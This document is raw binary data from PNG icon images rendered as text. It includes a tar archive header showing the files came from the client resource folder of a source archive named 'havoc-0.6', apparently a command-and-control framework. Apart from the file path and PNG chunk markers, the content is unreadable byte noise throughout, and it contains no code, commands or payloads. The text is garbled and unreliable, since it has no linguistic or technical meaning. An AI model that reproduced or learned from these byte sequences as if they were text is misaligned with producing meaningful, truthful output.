29eKF\.Qkj3(QE*dܞL(d)DŕK|\+%Y&=?)Ζ"/ww"ɞ$A/;%SO/5Yw8\j+/^.(ϖ*^&Yw$=ʟ6Xer[`wy(ɦdzlVQv~x-l_Ud'OcGj14XQuMMD}oWyy @-ٲ{Fv 0%ْ3Q](S-egg-LvjAoKK,c`\lQ6Qexس~S٦Ȓ(8Yh0/7&[W0Q}u>(7_.nIM tA9>Kd\_Tm]sZdl͓:s<'sf&/^cWl[Bbh$[dkひQdEvl%+|º <]-S}ѐ~\xyXn)*}5~2-5-26`G0tU6N!/U[~89+8~'-#YeQ &/ 1 4t@[ cJj%ه9?N5-$ST?d"DQd=nV/^^5ٙȶj_Wd/7ң?.J%!w=Q(SYFU&_,/Ø,{/W/w[݇W["yYbR1*dMFQYdL3YL6'(~⑨A&җ.lrM#[:寿lk_Ud- 2{R eHݟ p,dsf /^kc?mo,*2U'tEf6`P}eyU?./En/l쑱0:-xە&eI&k2jb4|[5 1ɜ˳:{m9H& \}"ɬ ^zkqblT}t-G,g)0cx0qQL/ËudQ|X#-؀w^EM7|-Q7_ FJ {lL?;S[cGñyU&l 2OaEf[0([* [lS&헇/zx ac}FMf2Ξ}ۇ6hYۯ6`0Cy9jQLgݓ~|X1 sTmp~iM]܆᎓le֏d)ۖflc/7(+¬ti$lP(i򒬜d˗eO` S؀FŎJZyeYa,푱0SZ＜<LFl Wd~%YVM0 T:^ZecݰLܞd[ 08(sN4ѯ0xO1To&&~mn?03G^.M>aIWe*o48.+-20ceEQ掫2m#:]ȴ oX`*oSL)_&dQS#=ӫ}T-L%Zc + L%8sJ\~?&[5yeS9j).q˗CjͨT:[0\1"N2Ⱦ՝OrT0~,LWdW-flʅK0稫'ouӭ d `dyVc<°(0UzVU0̦E1o\?99:L,0,[g11J0[ͫȪ\d`Qt۬h0yKyY%0x^xd`U``M̱JgK6`/ETjodL5ɪa`/6`yHZ0zdB{) 26`?1nE 9|!'*o`D j3quK^*d "l^zRtݲ'ΖvݯLf)U ynh5Ku8 [u*>YVW[2IݰeMfk;ٗBv?`6SW*Ut?`> dY 0񏣺sa.YJ 0Yǵ XBs !+ /2%c 0oFIdv!+Tu|+`fr"JA)0O҅L> L&ȪިK$`ϱӟ2ߓ˕_fLK'6,ʇKbø=W,sJ7$y0luT.O2yLx8`ǎ{,U2W|K6R?` HkTkL-5iJ$K؃$TIG)KeS*d"66^9@VMV$&͓96=*dlYsOǤj9x 4ז+؟dê5Y3O4?zL^<h知C{mpp2SF Α UQvhɢ, [=yɃpITDY~^iqcZe|lIx+;~Hw$L/TLTen^p?_Wcc035T&%؉Ǝh.JSQ\g>8vQ̲2ZLcg{bT-rUiOGˈ3ʼn"Tg ްȲʲ8(JFˀ;9NY;$0ui.ىڌ @WIUQPt.dl Nw0DZ({Sbb2.tUY~RHY"_0kAF)WR07 4> \, ㋋rΕf0Y_B4 ЁWZ _J:I[]L|.wiv.N]~!8|;-~w~^[f~Wsfu|%B*:?L@Eiv)!SIZ6sW;n4{@(a'_\tma^-_eOJ0HQQAL&CXLQRx0iPc{ I$Y14Cd8\29 k,Kd \De d sIK4R$>~̣%Nu3eA]q_lqu~5K4UdMN#IJE"Ü\0VHE"0'y%AF<h, %n7+AFE,s|?L( FAI;4SDPŸC? Ճ?έ> ,"wWu?F,DIDAT4J,ǛV!nHûKP9"K=fsٕ?sQoNQrۏ6(C̡Sٟ ?|+pw(d:"adu 3v?`gQP }7ƽSAgfōYx_+:sDXW$,UM|#gp\ws\R2YRTaIENDB`havoc-0.6~git20240910.69ce17c/client/data/resources/win7-vista-icon.png000066400000000000000000000725201467014221700251420ustar00rootroot00000000000000PNG  IHDR =PLTEGpLÏػɿVXXVYYUXXssrýopo@BBY[[ABBJMMABBKNNVXX@BBTWWuwtIKK@BB~~}TWWOQQVYY[^]VYY@BBTZ\㫘/YvVch݉a8Vk&a~洭LtRNSY몿ٙ3" Y<;,Yqに:IVsųi͜m'y IDATx{p[սG;oo:aQfL93<3i $A*Ŗl6u87!ΝKpBHJRM\K0I,&d}^B)mZKktͷ,Yλ.];~rOz߻G%t]w޹l-?Yv!w-,Y"*g^weΨ]Բe˖,ln4k/?7/vSx3 ͖-%M'ۖ/r~Y~l򲲲sԿпßʆfw2,-ݵl$Ɔ`WW_@k1K7eӢv; ~fw޹ih4cKnFa@NѨ,󖱘4,5cw]ve92+e2a~ 2-N ?H@ΙNwѨ -y2tt @}TɌ-]C[۝Kwm<,e&e4/,A-K\Kc Khw.EvMߗݵPA|eK{:A-hKSx%|U +M}V}'F[ L+1&A/ZV`!c%wi%Pf;-)}l;x/!b9w=?yQ̻+";@E"*o8JvSG&r+dkx~EBȾ+k2?/ccR]z?y斲#鐝ZsK0"ҥB=_1_2#d>$#鐭9zGP.=_ȧYl #21C<#/Z?l1 ~cD B BF8B|ABF8B%|ABF2 !d!kABF2 !d!kABF2 !d!kABF2 !d!kABF2 !d!kA GbahSpooGggkk6[ggGopӦ o2-j极sEi# _5vjinFBF*5J%w5SBFE(_Wh,`3Yw74fBBT 44ulW2w45c" dFEmub#6]ݶ  !#BBC uY+Y,c%6~yҳg1BFinӠtG^]aNV5 4 %BFk%録|y\ _(rȑw<YԼQ3=f$Ұ) d9$k xK/y׮AUٿڵkK/W9sٽn'=$AB#:F106 sZ kתAUzckobzΑcg1s(ju4 d!ˍQ'S(bW"p_Zz~mƯSȌZ$s;WBF\49삆bz͒ n~#-M9v d9yc¾ɦh.D vYˬ%evl(KBF⮅^q6 v؍ryˆd?,"xX6kyuZ;bzvm~#>M] !#Y5qvil,5&v ص)fu8*;!#YEx+q'b<36sٕ5diAB]sF G_^i)eW/elL!#YVE^im/Kb){)7lĘ,AȲ)d3O)wٍawVX)[BFl2;8QO9Rn6Y, ZצX~y!#YwYl^H6f#>OԪV6~CB5fZ>[zKrKeC\.!#Y4|O$dL?"㫀jϢdCB%vc#ZZYʎۊQ+I懐,;LwH_9BL6ud v惐,;ZJɘ26 y 4m'BF0ݱ";TUZhlv:'hp<2eCs5 K7Je< M/;e?Q!d!˂^/&Ԑͯq Ɋ,[inAȲIg6/-ƕهiM2 ♓9/6K16UB>121V<l1Z(Tg!#h濰,7_mfIB!+چ{gLVOpW`lժmAFdr.AĪjVfVy,Qht`l6AȄXlFvAFG2 dBq-3q_3b!ULl241 <ދ%Ivu9BF28L2XlrH6xfCG 3!d!IXAfGj^Gʟ]k216 = ҪD4 %MXшeTAD w A.Nߙ+y;:6a,BF2Q;?@I6|9W$X&KLsp͡Vm}*NYZlv3?7.!d!>oAFd 'o`jW\>`6dA0F B:ӝb!ex dBT :*5oRh:etBF2!'tb(U/HD"Ӭ7B* T= d!_NVvtgƂ4=tq5 yfI8c$؏o.o@B&@E~/,l7J=KMsXmn{فuAExф'_lG8ctl~9iw(el0f]C[bJv BF2~|[_Z/^1w[4m(ܺ؍S,M\2q٥kGY2'S7_OqqQZ&Q:GİbVg=G]Z廱Q2n}#U֧|m37_ǡ0_4bn+`3uOIĐ d!N;/r]1>}_;ZҰǁr26.3;dI&Y*F!7yd!#~u6_ 讶'-il̪̜a z216i(vh֊\yQ_"{z?ABƥIԗugBj뾚wlaC~jٸHٜQSzfSp ̀q4 ZסPaqE@B3㲏[|,fQ'=1,aF\CY9 qOX/ d"_\~%.|d6 =^otYJzd9I!KݨK/c !#yQSUS;'g9kj^;:>2>eb0KX=s/z&#d:<ŧ"Rc챪Pq{|13}--WKB}?fS4fluEz|Bf@{Vı:ZQB%rgwvZ336ݼow4]m.^Li~E|BΤnI3d4|q],NY"BF26{OA/d7lK=|LKΙ!69 !#YuC =ƅ3ڑ7_dbX d&E5֡>Pb̆'e['V̒kY,S02$夢*|gD}r8ly8Y6_ E% d&wKd[JYPg5Ƃ.笃sBBfN];rpX0 {eGL|?+d4H̔H)sŵkGqi0]ϭ.18BF2Sz ]W|"Ɓ 3˙'_LWWЫdAVBKv4 ]cAq̌VkGUc[994=1ύr{ 92eFS׎Ȏm2'_T/.302eBef@gZ$?,a6_ K diwT?Q䋭'f| +D* ϸ0A2!4dƵ#*hj% ŔYN:uN!#Y&"B__zD%]S/)IZ Ӎ.p y"BF1}[fgRkA^%4IB!d!˄Md *lܥ|#wBW[2e]IEo Y^RD/Qb,B\GBMb7Ylv tlppkGjn/ -72e !8d ![y.)JSO(ⱉwQdA%]; Kd?rfU䋋_Ϋ2e@Id:نԓ/v5Yе#) pn,}/>P!dOr3ˋW|A!#YĮ9ʎkG7_]rE?%9,}w:/R*,{>SsAV!8dV*|̽)[v乑=eQQG-#d!Kۀ%2ͥr |r3#FvJgm7DBF!uTEuDT :Qm\;nEBH؎jl83*b/H\CBV!c3_U8l#|q񞪔S*$2Y̒Ub[q% IDAT";K:Q]d|qMJ,]_kGTkt2׎d8,A|CpיZhlXuQ1 di>tN>6| Dz׎$)%BF45>IsDCU*,q*,/ z2]"c. A$b^J,mX׎$- A#$:BY0z=BFE6PBX-OPapZ&kӒSAӾ]T¦j ը%g*qӿvdu BF<+xVڑUS/?ò#F.|A u"BFDE׎fvD%RNMװBBV#2;?ˎ_JHO׎<'b qeQQ+FdB6 akGdGl-mH9'YR/4זA.`jasŕX"|fJ0~jdA!,23Q ;688y)o8qpӱע#wd~5%!#YZ1N/m$8[{3癲 ?.Я~~?t |ĵ#+3vdzo!#Y:*"uo u{ڽGGF=Ufݾ}#{w?jb̆׎nyN59,^HdA1P'_7jA/j me +pxGKbUXU,VSS߽ɒ}Ň/eV]Rj׎(e/ "BF4D{ I?\\{yߣmc5p0PWW{J[|Ff鯙_?pNmQalc n ABsmd ^;yO VCreYcs٩f .w}kkpg|asUɎxO f!CT/f]"$N){$6&=lFcH"uf863c?.Wu t̗r[GGE !#YY/f, 9Ofl aN +J,"hz΢v{y:.-;)%)/v*/L|1FB~ӟYߦ|y{]yz6 $\zČaQ4:y=D͓O>ye_;}5!S'_L !CȒE~iiI7ePnCiu8ijhf9?Hòs9D,m1B//5 dih0=ڑٌrHɆX8`ɨm*b(q+/).3e[iV6_p矌{Lo !#Yq|fЬ^#SW;b7*65Chʆep}H\2|aKYګDqŔsfr!#YzEе#Fƶ(Yżb(11,sfFO,Otk*v*dz[WL d!KW-iJƞ~~"Hs}?j kJFf|98u_Uȝ2'_~zm!#Y~i&~vu)ew,bbQlQ;՗v}?d“a d eQ쟙ABHDhan;>sy 5b3c->DK:gsrLJUX"[o !Kd]mh cj?c)z|U{6i~U|1ԡ̵#8̲p6!d![=4)uYQʼP-i~I׎lW qlaC\1GԞ%^cJ)w>pz]p}O8;:'' {'_|["+*ˆ !CȦ|`YQۘRi: oH7峺jb:Sy3upGB^T*aIbۓT/:Kwҹ>z顾a˒.}*;:B~L/FdBD#EEo o9k{\q*,%&]:rǂ3FIDӵ R?拋/ i#BFEq~24u"sen߇GpO|3wߝsʘwLP d z1Zc1$M(E6z6=fǸAkG&3ˢ!?7lACBP^o^:KJGW)ԹvdB<":zwS*f셿KfvkO BMI̘Rm(36Ʋ)|F~NMnr!#ق Lm/b9Cm EO NYY B8 d :'lfpcDKΏ}cbo YEfVkBM',dl0݅YlIZ*όL-׉|ag?BM$(dc,~K9 LܛP]:Q{_RlABfQ1_jh"8v=d#dκFB AGk2Tc~9{`1P6ܔ=7*hFdBBThA}K.WgOtAy՞̐mU(}8!CDAbлs ʴF']MRz5!q_B!d5dYge }9JF`WW2Yˋ 8Sq!Cm|c9ݖ-}b&i~BM d![=޲gse\ME5ҝr9o !CȦճ#F9F=t5WW{8{⑇!AY5"dB6eG ] m8Ke|BcCvAKxi!CȒEGY?Ely{K4feïfsõbAOꞕ+A$:J:YOIx4ᤥ؆u{gk96+X}U<09ߥO5 !FHȬ%fߐmk,RvrIʨb'jGJ`" (!dY=J"xM t!9ʪ6->,xǓe&\mh.E$B戆nh/ײFeDwH-K)&.])%݉(>c,dnr!#قzCo~+yL,̬) ^:\3f_b҄ryWcAefc0ރ52 !S_^6KTL}{.qk'˖a3ʉ`ak\NͲnr!#ق*?lp숑=_f_Nr2+]Ym(a-[~'|bWۺkew;_!&W2-lJ?SQm;{J~ioͳht6.zIVҪ],b%jb@"c] efE:y?r^^ ٌի_lgŒz=4.+bl {)6;hXφbެ(c3AR5)9܉_Be-޳Y2Wˆf/\`^#oNaN^pq}l  MzPfXlϷWOM d![Y׎mS:_lg{|-elIx~C[Ց{k/]]ŵ{\-m5,4b&L-2,&8,l,r&,xE?ְqjsz,WU cmm믖^]_ZZR6&Vƫ!jNZK'7)>![XO| mO|&^|wasFqMBg`0'_`0%XXÜFE,c %L-3eqN~_Wc!w2ű![&_}†fV359\0;dsI% 62L-,9/YbWO>Lc=glvi,N` !CȒmׯQ!d;lp)^Mes폝d2L|/g&w239]AZ=_֤l맱RCzGڊ~zIt8^;n`d!KF2G7ęo9OZ"ccG6 ƍ/%AyW^MӿF4pl9zO3ijtJڌV #el'q_{77~3a>P0!d, <) *bԓ/h̙#!K׉bVX9ULCwuHZ}4 ܣOٗU]/v2|1PZ2ij,c2BHזVw@kGv|aT1s,i0|H_n9l(;ʋo6;"C;Aj#|!;bɛ/'s,Mbo(vW"pmBy[˅]1k-!KCE2'_Rg}ϽDvËs#3Lc *?4ʷ~N(c2BȰRafy_/;M6۽l`+GXL_ߑ_|s,'Rop6#d:, s=\;r|,u<8YҰM6.K(f62GFsI0U2c:9|*߸Йvp:t4RkG|1ϗٸM6kG!"f!K_$E2} #2}Ejl?h[m_ daԨб5%7_1B.Bֿ!3 dKE'_Ȏ2TB7_S2/I{KvD,weϙ^j:BYGu !!dؔA(ߥ|A/>0Dž_;R3KLe?OWd[_-37_ֵ# dHP2Rf-_VrvXĆvî@ YFr}=}솑cϧʯvî@ YF~0xSELv"!d!D$қ'bvd痴49lH=_o~g̴5"s8*loo!PalljGD_;biG2,-iˆ=\h96W :_D_;R?Bf@2iJc6oPa@EBv`L#v15A2Ծ}ᏔT䋝{R/ t3/텸lBf@2TѹOfϿUa@f\;"clBf@25'=J,N|LT%;bpU /!? d!Tdה/X";zz\MdƵ#B/ȯ,W d,SO%8''TX"oOD򰇾Pbfj/6!dB慆d\;rgk)׎8ոvdc!Ud rW?ABHwf(//ܾ﫱D]G Y?(=Ϫ垫1ߌ_2}Йe]{BF-p # 3˝=m)xk6O!%N>B+KGABfB|A:^~HD #J|5D dA2% {˙/_}ŘgҰYv~"<ګ|Zڳ"$BBfBy!fubCܕ_ -w<{HkX23"NаGkGjRqrHsB23"=sA)lՔ{*Ć9m)!d:̜>Tʜ|S2sE\3 KdM1LST IDAT=%ͪȵ#;g|MT(;b?=&vEe!3 d&}jD~1)׎ #ڄn d&̾B׎Ȏ}4O~?V%|m BF2"M~TEv|,'b" { !3 df5ť~ Kd{hE"Zh r{!!#ALE do9|Q…_;IρlA̛_ #v-g\;r>׎h>D y 3>V Fdﭶ' { 5.|J拺 !BƣsFh%;UÞ={S˔u{B/6:VY+d!А-myճ7SO,~y}|^Ov 6_8-rE {BF2mؓ΀ ^9upWq˗GGF372+oxoȎ9&!tlBf@Dml?2kw*&)aNbh:=Ȋt{=lluu |Ix\;8BԙABizř.sC6dm}U:b0Ea$lO39,֖~}nK9JN |? ٫!#Hӵbh"yl[U;XX7j 22jkYo/9= g*:Jl?.Y ԋk2q4_;6_Lwϫ^aPϦިb @Meґ+3*2oǕ8pBVl0 d!0LvU(6T>5:2ؐBmjpŲ='|/j\;B/BBֈ, d! i/|Gj&Άb|byr]Gg`~6Fg**1boKuDS/vT{Qբ3j c,e>%e;L}U?Bd d"Ctf16ܻ*H3J1ÕQʜD X3Fe37 \;bWڑ'\;5b uA_쁡^)] CXLtŦ>k9/ߪб'D];Q7%AB&@^g#Pm-MzN4JL-N"/&솑q AȄh4NٔZ3iX~=}lXbq];RSȦAB&D0-/1q]fE=ꪵԞzFJ'Ѥav"\;bl dblӻvmM)S>њv54A')׎rrHț!#H{rz͘Yیhj, v]V BF2A"4} s!buؾ5RS{_(21׎h8M1BF2QS6zG?ygmmwֿD)itdAȄiNduՆu{9^巧lHߐ1B׎7_Aęyaohk ֌=VLY:jl/"BF2Ls8̪`Ȟt+mxD/V5ƿ̀LW琅 &CI3ifԘYvD3!d!i`;_>t7jK# #cV%ܜ/cl& dB5H-bM=L?Bm׎l,2I2nF6Cvݼ/7~JBB&T*e|rEc6K=%-s8g6AĊ4|s<4þU{H'BF2ѮߪjoQڑomփ !#pRSͼT:S sAB&Z$2$F,6W Fd=6u!#YW"N6">qLvV~ڑsm.AȲW1fbk?)gĂ/,熐,;Rs8'5~z@nv8MY{,)~'iWHI}8ci@BEH g/5m#'?V?Y;X,\;fV4\5 dYiRgLf/ѮO?ّ c?ٵw_#U@žz@бt d!˪HB%AY㫮/-4k;>ѧkcjean}: dYiR"Kdd6vn<õ7LT^XEiiABmj(e6'T=HH˿ fa1Sx,]AȲ.w:fp}۾]/`d-S|.MmB҄,DfHM?c|*vBWQ^M)~f!#Y.4 ̐ExU}ۺ]ǎ /+鮙{3߀X2B]^ ñ}{O~~[a<\wt>$Xl+ѱ!d!ˍd4 Q?zdWW~[2vU?sٽ,=#=TAB+HoϹx4Ŵ:vdWto(a9\[[ueel ypWWq޽)-뮏M|.d]ҋ !d!˝&UnKZ:,f>VDU?dIIG>KKJ&VǫibnM XQcKBFD*; kfٜnJ@uu0 'tp8dB üQJ+1 d94rMܬX,lrzv599Y .cgsGFJ+*چcM@B[j._C3L/eUc(` }]kF@Bc.O35(i4FiXJS2ZJg- 3!#Y)P&Ƕ>fBFDzZewC5kBF2 "ʽD.S]oc!d!"2K!c2IҌVl炐La|{ J>AȤhǷEBF2;T}@B[VٿV 7 mjlevvvt7mjh!<!#Y'"3+;ABF2 !d!kABF2 !d!kABF2 !d!kABF2 !d!kABF2H !d|N#d=CȸBG #2:}G #2ѳ2Do#2 @#dkN?xI3(txDȖ_9uQ2.=3KlكTG2 ޏ-d׏bH %,2r룟]1,c>$ޏ.ݰ1iJJsg;?2+WN}×fͩ+eOt !>*[s}>rb㇐CFSְ-_ dA p@ p@ p@ o-~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~!3~FȾ5P ky?[i彵dGZSO>ica}'kQnyO>Br1 9@.h3M+Ǹ=Ǡ, dr[ot6uZ$!#Asañ>}13b8=@ e!3~3-}q<c%{P|d?ȑxeN2ôy|~|}?29Rٗ/1yd? 6+Za%Ø,o drcyǒd~,O dr])c?O dr%xljL.Bf }[#6Ov 9@Ux;;y!3~u-}4]$C\ 9@\L;Vdwa7Y>@ d]K7É%qxqO@ d[e02*2YVҗΛIl[0Bf L霮B< 9@e:݇U2!d<=d8Ʊܯ> 9@vUxf;:Y2UZL"2YUY7n2c0Td?Ȫ|ȰC}As8Fd LuAs s̉3d?Ȫʾ O"KT2!d*2NPBf *\SKFdC d߈ g!3~U|#B: 9@VUlRqAsG-d?ȪJag2YUYg%/)!3~U,dv_h/dC dYyd!SBf Z\Ou`E!d~lPBf ̿6ľ<d?Ȳʖ>E0Ow߾?lA~}M/1[\1ق7He}S_~?_ d ?ܬ(o|w_}SA s?~Ã|oRLIBCBe? 䘒RYQdϣ#*z=1 ,^,v^&1m Pi,ݕ?s P0yA{,;6 PU;Ο{ PilOO+a[vlѝ۲? ^%v3)A,ME6;@wDj\|x6?wW b;IDATÃ٘m PI64])0$,Sܗ?cnߒaH&U~XhS#&b59Y}Gvl#%@Mig~]vlNw TH7? dGHGæ""M=Fb5Ҝ, PO)oN 2[[I5|;l::epo h'Rř_f?fݢKf'՝e[;Kf`<ŝ^~%e؞43$4n~@-;/AW?f~ PFc'Ul65_2)鐅7eG d̒H!۝5M O[[,`Cvמ!AwR>h7CdlعJd˭-KŲ+ȸT{a{Cd1m2HuM,ޣMdXe{,çdX 2 pN]cd@OYc[Oٔ{;>k} 3?+g 'E(1/,˻d@4N{Y~10=j2 cäpx0rT ҧ4ʀ,ٹJ\vfzL0L{{WzI3qD˽a'Ż^ox8y#K4ʎn% _#>V& 71>gF tXʱdnj_#^jnˤ^;*l#7(חd ICtX;4} #)Ȳ*Xo84Me{wʀ'g ˱^ݎ3$ ,0Qai11;i]kqs6up#Q1&*TcabDI߼ʶn-n@|)Q5&-b̷M˲.f4#ҀMkĕ؛[+°=>JLX^ ô?.̎nq6lquQͣ l'{ӈ(Eng8]?IYhiPdd.RLdš/YQaf_؎B d\QfvS+:FfT_eF{Geࣱ;ʣ˳K]>j;f9oF}HXuCvYNZ>YnuX4fJ3!w#odGfZAeuJYyTq|rȪe-Zdte vd^kd3hΟ*@ =:dBu8[yc 9#p>p 9Q/"@ Q `z<5Po=UvE  w| g,͆/orD@hb _| _؀f/rEKlD @h9|90\n@~b @^hb @n9|!0~/؀䄎/؀䄮10|r@>hb @>;|!M7_,1䂾0M s`|)W|^wprbЅwBx޲Ƚ%Ž4jP{@J,e{K@}{g){o[~ն_e`PV [&Ej U'-gJɻdQCPXtR]v?6}wWӴdҬ@Mdם钉dd\CaإP9v ƨ41 (ưōVApudU_&ZPHtT'ݛBߩd:`լh%oe|]/ W,f4 }dsrbFRb I==,{'<,ݥd6@VY&vmdm9zW^Oaɢ$[D=rP ay2Q2 s, zL1wQVDIJ@Ƹ??u]$%. P:\^vcZ0ɣQvV\^bcerLd)Z$n=N^=L<?!p{ dk7E{Lv'(Dߵiҹ4s0>a|L|{)0ΗdF0̆DŽP^&22YcQRncL,%rvlfY\C*s\-q,2JJʗr?w?$9'O/ʭ`\s2Yu0] L/ɫJe 7ZTccWZM/WeѴ툪0nQ5&coTegq,8_k8O5aOTeqf ؜L٦{'QEYl,D,>#Q͆؞PkukV-`w*#7Jp:? pdXEd-ZdȦJTqm΀ U-zm@Ej jl m1FLZjx dW)ȰT+yqwNY{`_swhPST\a+,Z$"ٿʽ銆u20ROjgZ$"|Bu21W" 芇芆t33 t35䉊 މs48 / ( #q7@W&'2Su6: ֈn:I΋vEj84gw:VcYBY9J{:Kl(=\w(w54M;UtRNS * *8(8OZ\3=QhPFz5ElۉEh[{nbt|)qzͨ^JmAnVc IDATx}LglR<_g|ju:iq:S3gNK$M55GE|Jsf̣بGEQ@&j~tl  PuMcLL[/}_~Er}E;?|׺ֵֿ`hyyyy%Pyyyy% 1O3//~!a՟6<˼2ŘGWߪ7(Yw=yyyyC)7Je^^^D 64HBˑ,#%XRLQb)8h_?WQ3!3Q~2cBL,/뇧2}G}V2=9|GS2SLG@F#Xnܐ2/7/,p_Q54ph3 -2wKcƜG((f*k$rYd׏W@Œˌi)pdyƿY&QMW,v̍1vXb,hv,˫k@\7S^,IleTY_?&^^^Ztb 3/l(c~* ROT/"wPPQ0 +;IH\1M03/"sDڍbl^0h ˒BY<f^^M9Jl1>-/RgW c҈)C<ʼsBJkQAĘFE,.`:J1ҋ/HN^^R;RtcF_M4d1}$e9Re!fsGb̘EDxyy=X9Xc2C ,^!1|ĈłLeR,/Ϯ*jxwܹPړ@U?"QIuce*5űd9 !@1|>bԈ3~/bVdP_f^F;bZC(4?É){`\/!7t);;f26b @c&Q 1mW* ؠuSru"0ANhȈ0BL|<_M OM%lӑK/' {l`, :$ n lԘQcFSf6,9" Ocd8f#_K/%SnXp2;1mǐbR1ƌ_he `]K%Cg˜k9(]eg"0&/Rvȱa2Ԩ@01G=o1c, q,THaSsbL36!ΓŦC^^^lvh-kbv##4 I696d)Ifqmʲs쬿%2eQ ,KfY?vzC(2W|O/,1qxE-:\Ɏ Ά Ql4"l4 cZ32XevY6D2ySnLƏN3T^^^!9/hk6dvс&+RDf H3예+YLO>I~Q6F1A[feʌ2-Sr6DzL^zy\t7f1rɰRR45^&Nnӟd_0+ 5+? MYU;- L ,=-7P>~>xy D9XțIC':]cG="JheD=rl mv 2l'YKO2/L侠]` /WRzlcڌM zM(M({Rŗc"ˈ\M--zo&y-@#D^^^JQtT'b6dVb#Q?ѣ"(6v6d2D1X@sӪ•p0ʔ39fQ*3۩9vΡjW'h S;BN+50mǀae'>)"'iP?P 0eLYeA+0f,j̘u3MaNznߔSkUIeZyy濉 >pcz0F~l n=>1جYO"=!P 2ddِ) q 1"`nKʡfӛ2/UdUk\CbV9LcUN{Of=/,H,3Q6ªw[rUgvd޼Leؐ]+C̓+ʐ;(^X+)O5a 9BΚ8S((Q6IG92=AN6e8 YA 4FrƝd{2/Ƙ"3#KYs4d7v$aPI9)f=^lΜI0sM, I,Q&lW0ShTiB,d?!,0*=3{dJ ߔ˫+";f^A7k,׀y'*9&؏Fx4q cĤI&s3Nlʤif@(teCi#*pw ˴cs1k1b80lԑqZS/~X6bJs6PDtd"d$rL;&J*9IbHSg|a4˞z6ڕEǗ3.XqƌFxkOLyqO˓+Bss5X2d*FaH?B%?-JrcO͔cb bq3fN2miɞzꙧ2۔Ypb$aʤI 1ۍE0hNyyy%Tٱ BWJ~TI(9~ؿNIM- MӦLC1^-IJ`uJ嘹XrcIB̈1#P8W\옫Cnؐ}Α\/\Prl4۱鏣#*Jق ȔM$4@oӰeLYTYDv̊)y#HNC9uO$$cEʨ+J'Ҏõќ{\b/<'82PdeM"LL/]($[F씉2WCʬl3 Y،DQQ{C<ɼ7;`ʎE:c?3,[]Pn=Je~a%؂@Yls8|Bg^Fو1)a. cj{k1d_b(_栙yV ^zyyE(*\]l57$ ێUZ~V. iC@sjWF(YW,P믈a#wԫd*U9fVH1ϯIvwd,\Iӎjǒˍ ?pfٱQcZ%*?&9flԙ/ ʈdlrē뗮Km4z,Ɔ聜d!i鑃Ӽ'rm\]ǒȎY~j.'0tL\ZǞ3!"JbÒ-ax)P8S\YH :okbQ#Gىv#$F:ZӲyOGQv,7\;؍'=Dv bʑX;zq#FRz =1 )S{Nq 1*7羨l4 83seqK1\c] M ű!hŘWcL Dd^^(ʎ9'm$S/l*ӵcTٱcb8D%e/*ɞ,\!;") `eY~* L"/F𢙜cZQu,d'h;f,5.3А=,1*Q{lJMrLsc IS6E`ً/ʞ*}ꙸݨ,N@vX6dC9F,1Y4 M1T$d^^c:`FR`it%J.DJc%`;rcK_8wg9US"';QfU9vvؘF!v$!ƞ;QdC=ɼH ^:] 7$g= fa*fuèRcsЎM Qe|)r& <^䯥jʲC!sd?(5!%ዧDͲDu1K^^}dcVMf1LaHn;Sl 5GE3X(bW6sN3\WK dʌA1Ws;c#h:Bld7ƦysJˌ6eޓyyDv,(m*7>܇)96.Q%?}?QɱY*96w$ c1;W2.*# 5MzW)Q6$U0Jb変vb,'J%4@O2Avw. ϵ(va\ǸvL&QOYI\LΕM6\,lK7d̞,btUYW-9r˞4"̸2# x_O2A.WXer\1Zcb#5Fc{|JM<I2peE5؟T#S6"N%5;e,aFh1Ş˓F*9,^USw%$ra,<Y|gXܑaj%j>f`TlǤ MV̨8[$t %U0?{Ns1[>E-m'3I5 +! O.lb%ڱGExZ*}nԣJӕŲ \B847`MYĸ@}JiFq%1*cH8iʔiO`Y2j;D' `(Q&QY(MI5xVFڃI$h1ђ1ӱF!?ư,#)]ŲƁ+@_ nUftܲ꟯%<{KR`xI1Sl֬g_9㹹b8ebZuVIV3_I5hVKZ|HdFʨ(swvl3faG4LUVft u*Hf(`8ӲV''Rnll&4Y`' ŽReᨗVKɼ +RcXg0V?K].؎qEc"ʕ\Oq:6rek9᭕ڏAqaǦ=?c\V,k̹s}vγ S'̕ dkRύ3B]I2SIj,{y0Ў,3혹V9r$bCRZoLtK:Ɗg̴BK&\|5, Ă%ǬKKD2ug3ew˒Z2#`kD,o VƲʪ_} _Mkk_)J1dWλ:t^;5Zk74:Ο7W@|u#^ן)?:9ҫS%!glye8f`YB!صykwk Ht:]X+~4'/;+.1l#U>Wc|q_? O O?m/vcp 1F K\wUT_r[SSmxKV]̬Ⲗ;_je/Iu555GᥦW W FïnC]zEo/v5Ч!+~y5~ٹ KYEe=/QՁ痻9Kٯ)wcF&ЄM.LX;뇧?1atL7:e=_?ޝY^_#WVFAlhDvLG&/E3_nG>PO {ˮc  IDAT 2+{jZ[;>{:TݮjmmjOmJkc=ݻwmհ#&lqƆ Ŧƻ&L6ٿVUؘyf׷5‰yU#m݊g_ ~O<֬fj;[@xJQf>@% ~^+f032RpKcyhb]APc!ǀb/a,KS\ W ysﷶ%-e%ʀ5ȱ e727SBwEb RAv#kolR̲D, ( [o+ Pv ϪA0ҚMk֬YA;-^ U {4g~5>[y>ٳPfHFQFrFB;+#7VR!֭11qv,F,$Dz> .\uQQV7U!XAO%tΌ2j#?Vx%YƲp^ym=\\SLr HZr2=X(t/-ݳoQtO"랉_,3Jі)7ۜ!ve.;w1ӏ~gѺ ֆ0nOʎV`bE-h<ժNpfɚS_$`t]1sz,`h@4e ;W <3ʵ_L* ;d#X $l:aB=@tj0U_IOc:/H/$cl,,JiDzs~3pcւwFT~],Vf݈Hc`4u@X1X'26)Nd`UB#*/La6Ԡ(&2X z=DSx<<aDc0-2teex!Mu_`=>Q~4MMO˭Q50.KN!;^фu *ccIgЙtazL1A:1ࣘ'klV?$+ҦSfxɮlt^א#*ncӨA˪uSLLlٽe ь-\z2\)fԘ2>a\gfz9){#W^P̝W VcV\`L֙S5Ӷ/be*Yq q:zlz֞<v4621YQVfMq3XRYn:70d&E( b+1($I8\;'Â3vY'_cx9@P( ;ƕX;6|cqK7aF:vc,;&YU瞪=EcXձ"&SN2B,-XB**n@`fSpFfTtLy2Z\&=ٽTmZf8,Pd)J)g?ǜ1;9oñFXQtLر꿁Yɟ%\ "9;;!ECLy2BFq̈06e,"?V cXVgU/' .XdaK`F"O@_Af׽0P3p3knC_SX=Y4,2eHc.*OKvxLTa%aFq% 